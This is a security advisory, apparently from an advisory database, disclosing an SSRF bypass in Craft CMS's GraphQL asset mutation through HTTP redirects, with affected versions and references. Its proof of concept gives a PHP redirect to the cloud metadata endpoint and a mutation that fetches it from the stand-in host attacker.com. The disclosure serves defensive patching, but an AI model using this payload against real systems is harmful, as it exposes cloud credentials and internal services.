Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect
Summary
The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.
Proof of Concept
- Host a redirect script on your server (e.g.
redirect.php):
<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>
- Send the following GraphQL mutation:
mutation {
save_images_Asset(_file: {
url: "https://attacker.com/redirect.php"
filename: "metadata.txt"
}) {
id
}
}
- The application validates
attacker.com(passes) - Guzzle follows the redirect to
169.254.169.254 - Cloud metadata is saved as an asset
Mitigation
- Disable redirects.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | craftcms/cms | >= 5.0.0-RC1, < 5.8.22, >= 4.0.0-RC1, < 4.16.18 | 5.8.22, 4.16.18 |
References
- https://github.com/craftcms/cms/security/advisories/GHSA-8jr8-7hr4-vhfx
- https://nvd.nist.gov/vuln/detail/CVE-2026-25493
- https://github.com/craftcms/cms/commit/0974055634af68998f67850ab2045d8aaa19fa98
- https://github.com/craftcms/cms
- https://github.com/craftcms/cms/releases/tag/4.16.18
- https://github.com/craftcms/cms/releases/tag/5.8.22
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X- Weakness (CWE)
CWE-918- Platform
- Composer
- Package
craftcms/cms- Disclosed
- 09.02.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-8jr8-7hr4-vhfx - CC BY 4.0
Vulnerability history: craftcms/cms
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 127
- First → latest
- 07.2021 08.2026
- Without a fix
- 6
- Exploited in attacks
- 4
Severity breakdown
- Critical 9
- High 41
- Medium 65
- Low 12
Disclosures per year
- 2021: 3
- 2022: 22
- 2023: 13
- 2024: 9
- 2025: 6
- 2026: 74
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